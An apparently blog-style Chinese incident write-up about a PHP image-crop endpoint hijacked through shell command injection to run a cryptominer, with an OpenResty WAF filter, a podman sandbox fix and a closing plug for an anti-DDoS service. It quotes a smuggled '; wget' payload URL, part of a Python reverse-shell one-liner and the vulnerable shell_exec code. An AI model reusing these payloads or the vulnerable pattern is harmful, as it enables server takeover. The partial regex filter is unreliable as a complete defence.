高并发场景下的“命令执行”注入绕道记
环境:CentOS 8 + OpenResty 1.21 + PHP-FPM 8.0
背景:营销团队上线了一个“图片裁剪”接口,参数直接拼进shell_exec
,结果被打成“矿机”。
1. 发现:流量突增 30 倍,却不见数据库慢查询
iftop -i eth0
出站 1.8 Gbps,目标 IP 全是境外 3333 端口。
ps aux | grep python
蹦出大量:
www-data 18293 112 0.3 /tmp/.tmpXXX/python3 -c import socket,subprocess,os;s=socket.socket...
2. 定位:一句话木马是怎么进来的?
翻 access.log
,找到一条:
POST /crop?url=http://xxx.com/a.jpg%3Bcd%20/tmp%3Bwget%20http://yyy.com/p.py
PHP 里写法:
shell_exec("convert {$url} -resize 200x200 out.jpg");
经典“命令串链”——一个分号直接拿到宿主机权限。
3. 临时止血:OpenResty 阶段 0 拦截
不改 PHP,先在外层堵。
/usr/local/openresty/nginx/conf/waf.conf
:
-- 阶段 0:args 阶段就跑,性能最好
local ngx = ngx
local re_find = ngx.re.find
local args = ngx.req.get_uri_args()
for k, v in pairs(args) doif re_find(v, [[;|\$\(|`]], "jo") thenngx.exit(403)end
end
nginx.conf
里 include waf.conf;
reload 后扫描立刻 403,矿机进程不再新增。
4. 长期方案:把“图片处理”扔进一次性容器
命令注入本质是“宿主机与业务进程没隔离”。
装 podman
(CentOS 8 默认源就有),写个 wrapper
:
function safe_crop($url, $width, $height) {$uuid = bin2hex(random_bytes(8));$podmanRun = sprintf('podman run --rm -v /tmp/crop:/data docker.io/imagick:7 '.'convert "%s" -resize %dx%d /data/out_%s.jpg 2>&1',escapeshellarg($url), $width, $height, $uuid);exec($podmanRun, $output, $ret);return $ret === 0 ? "/tmp/crop/out_{$uuid}.jpg" : false;
}
就算传进来 ; curl xxx
,也只在容器里执行,退出即焚。
5. 隐藏彩蛋:给入口 IP 再加一道“高防”罩子
容器方案上线后,CPU 是降了,但 2 Gbps 的“垃圾流量”依旧打满机房带宽。
运维兄弟把主域名解析丢到“某高防 IP”——号称 1.5 T 清洗能力,实际就是 Anycast 先把流量引到上游,用 eBPF 把 90% 的 UDP/ICMP 直接 drop,再回源。
切过去 3 分钟,流量图瞬间干净,只留 200 Mbps 真实请求。
关键是:回源 IP 不变,代码 0 改动,证书也不用重新签发。
计费按“干净流量”算,比直接买 10 G 带宽便宜一半。
6. 一行命令复测
# 老 payload
curl 'http://api.xxxxx.com/crop?url=a.jpg%3Bwhoami '
# 返回
{"code":403,"msg":"invalid separator in url"}
7. 小结
- OpenResty 阶段 0 做正则,比 PHP 层快 10 倍。
- 容器化一次性任务,宿主机再也不怕“分号”。
- 入口流量直接走“高防 IP”,省带宽、省备案、省心脏。
整套下来,代码 diff 不到 30 行,第二天全组喝咖啡时感慨:“原来安全也可以这么便宜。”
至于高防 IP 是谁家的?账单上只写了“群联高防 IP 弹性版”,用不用随你——反正 podman
和 OpenResty
都是开源的,自己搭也行。